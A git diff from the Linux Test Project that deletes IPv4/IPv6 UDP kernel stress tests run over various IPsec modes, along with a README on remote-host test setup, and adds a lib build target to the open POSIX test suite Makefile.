Configurate IP addresses -case $IP_VER in - 4) - # Network portion of the IPv4 address - network_part=${IPV4_NETWORK:-"10.0.0"} - - # Netmask of the IPv4 network - network_mask=24 - - # Host portion of the IPv4 address - lhost_host_part=${LHOST_IPV4_HOST:-"2"} # local host - rhost_host_part=${RHOST_IPV4_HOST:-"1"} # remote host - - # Set IPv4 addresses to the interfaces - set_ipv4addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - set_ipv4addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - ;; - - 6) - # Network portion of the IPv6 address - network_part="fd00:1:1:1" - - # Netmask of the IPv6 network - network_mask=64 - - # Host portion of the IPv6 address - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - - # Set IPv6 addresses to the interfaces - add_ipv6addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - add_ipv6addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv6 address of the local/remote host - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; -esac - -# Configure SAD/SPD -if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - rm -f $ipsec_log - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - rm -f $ipsec_log - exit 1 - fi - rm -f $ipsec_log -fi - -# Make sure the connectvity -case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity." - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity." - exit 1 - fi - ;; -esac - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle udp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a UDP traffic server -info_file=`mktemp -p $TMPDIR` -ns-udpserver -b -f $IP_VER -p $server_port -o $info_file -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run a UDP traffic server" - rm -f $info_file - exit 1 -fi - -# Collect the information of the server -while true ; do - if [ -s $info_file ]; then - break - fi - -done -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Run a client -ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-udpclient -b -f $IP_VER -S $lhost_addr -p $server_port' ; echo $?'` -if [ $ret -ne 0 ]; then - tst_resm TFAIL "Failed to run a client" - exit 1 -fi - -# Watch the UDP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - break - else - ps auxw | fgrep ns-udpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "udp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic02 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic02 deleted file mode 100644 index 4f693475..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv4 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic02 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic03 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic03 deleted file mode 100644 index 8f0d43a7..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic03 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic04 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic04 deleted file mode 100644 index 8197e05f..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv4 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic04 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic05 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic05 deleted file mode 100644 index 02712390..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv4 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic05 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic06 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic06 deleted file mode 100644 index 848aa237..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv4 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic06 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic07 b/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic07 deleted file mode 100644 index 336a213e..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp4-uni-basic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp4-uni-basic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv4 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp4-uni-basic07 - -# The version of IP -IP_VER=4 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic01 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic01 deleted file mode 100644 index 7222aa72..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic01 +++ /dev/null @@ -1,56 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic01 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic01 - -# The version of IP -IP_VER=6 - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic02 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic02 deleted file mode 100644 index 9e91be66..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic02 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic02 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic02 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic03 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic03 deleted file mode 100644 index 7c6efa06..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic03 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic03 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic04 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic04 deleted file mode 100644 index abfb6032..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic04 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic04 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic04 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic05 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic05 deleted file mode 100644 index 75a4d224..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic05 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic05 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic06 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic06 deleted file mode 100644 index ef844c4b..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic06 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic06 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic07 b/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic07 deleted file mode 100644 index d4d0dc0b..00000000 --- a/ltp/testcases/network/stress/udp/uni-basic/udp6-uni-basic07 +++ /dev/null @@ -1,66 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# udp6-uni-basic07 -# -# Description: -# Verify that the kernel is not crashed with receiving and sending UDP -# datagram with the following conditions -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-basic testcase -# - -# The test case ID -TCID=udp6-uni-basic07 - -# The version of IP -IP_VER=6 - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. udp4-uni-basic01 diff --git a/ltp/testcases/network/tcp_cmds/README b/ltp/testcases/network/tcp_cmds/README deleted file mode 100644 index 2f44814e..00000000 --- a/ltp/testcases/network/tcp_cmds/README +++ /dev/null @@ -1,23 +0,0 @@ - -NOTE: - - These tests ALL assume that the "RHOST" variable is set to the hostname -of the remote machine, i.e. - - # export RHOST=<hostname here>. - -These tests also assume an identical path tree for their location on the remote -machine. So if pan's root path is "/home/ltptests" on the test machine, then -it must also be located in "/home/ltptests" on the remote machine (RHOST). - - It's also a good idea to set the "PASSWD" variable to root's password on this remote -machine, b/c some tests use this also. You will also need to setup a ".rhosts" file in -root's home directory on the remote machine, with the name of the local machine listed. -For example, if machineA is running the tests, with machineB set as RHOST, then machineB's -root home directory will need an ".rhosts" file with machineA's hostname listed. - - I apologize for the lengthy setup, but I tried to make it as minimal as possible. - - --Robbie Williamson -(robbiew@us.ibm.com) diff --git a/ltp/testcases/open_posix_testsuite/Makefile b/ltp/testcases/open_posix_testsuite/Makefile index c0ccd499..4bead182 100644 --- a/ltp/testcases/open_posix_testsuite/Makefile +++ b/ltp/testcases/open_posix_testsuite/Makefile @@ -41,7 +41,7 @@ ac-maintainer-clean: .PHONY: clean clean: $(RM) -f $(LOGFILE)* - @for dir in $(SUBDIRS) tools; do \ + @for dir in $(SUBDIRS) lib tools; do \ $(MAKE) -C $$dir clean >/dev/null; \ done @@ -80,8 +80,11 @@ install: bin-install conformance-install functional-install stress-install test: conformance-test functional-test stress-test # Test build and execution targets. -.PHONY: conformance-all conformance-install conformance-test -conformance-all: $(CRITICAL_MAKEFILE) +.PHONY: conformance-all conformance-install conformance-test lib-all +lib-all: + @$(BUILD_MAKE) -C lib all + +conformance-all: $(CRITICAL_MAKEFILE) lib-all @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C conformance -j1 all @@ -93,7 +96,7 @@ conformance-test: @$(TEST_MAKE) -C conformance test .PHONY: functional-all functional-install functional-test -functional-all: $(CRITICAL_MAKEFILE) +functional-all: $(CRITICAL_MAKEFILE) lib-all @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C functional -j1 all @@ -105,7 +108,7 @@ functional-test: @$(TEST_MAKE) -C functional test .PHONY: stress-all stress-install stress-test -stress-all: $(CRITICAL_MAKEFILE) 